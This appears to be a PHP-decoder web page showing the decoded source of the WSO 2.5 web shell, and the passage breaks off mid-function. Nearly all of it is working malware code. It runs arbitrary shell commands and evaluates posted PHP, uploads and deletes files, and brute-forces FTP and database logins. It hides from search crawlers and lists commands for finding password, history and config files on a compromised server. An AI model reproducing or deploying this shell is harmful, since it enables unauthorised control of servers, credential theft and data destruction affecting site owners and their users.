Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?PHP $auth_pass = "5460217e208fb34ca729c7fab632fb77"; $color = "#ddff55"; $default_use..

Decoded Output download

$default_key = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
	WSOsetcookie(md5($_SERVER['HTTP_HOST'])."key", $default_key);
}
if(empty($_POST['charset']))
	$_POST['charset'] = $default_charset;
if (!isset($_POST['ne'])) {
	if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;


if(get_magic_quotes_gpc()) {
	function WSOstripslashes($array) {
		return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
	}
	$_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}


if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';


if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionSelfRemove() {

	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	wsoFooter();
}function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Bruteforce'=>'Bruteforce','Console'=>'Console','FilesMan'=>'FilesMan','Network'=>'Network','Php'=>'Php','SecInfo'=>'SecInfo','Sql'=>'Sql','StringTools'=>'StringTools');;
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . "Hidden" . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=ne value=''>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
} if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
} function wsoLogin() {
	die("<pre align=center><form method=post >Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
} function actionBruteforce() {
	wsoHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function wsoBruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<input type=hidden name=ne  value="">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
	echo '</div><br>';
	wsoFooter();
} if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	wsoFooter();
} function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
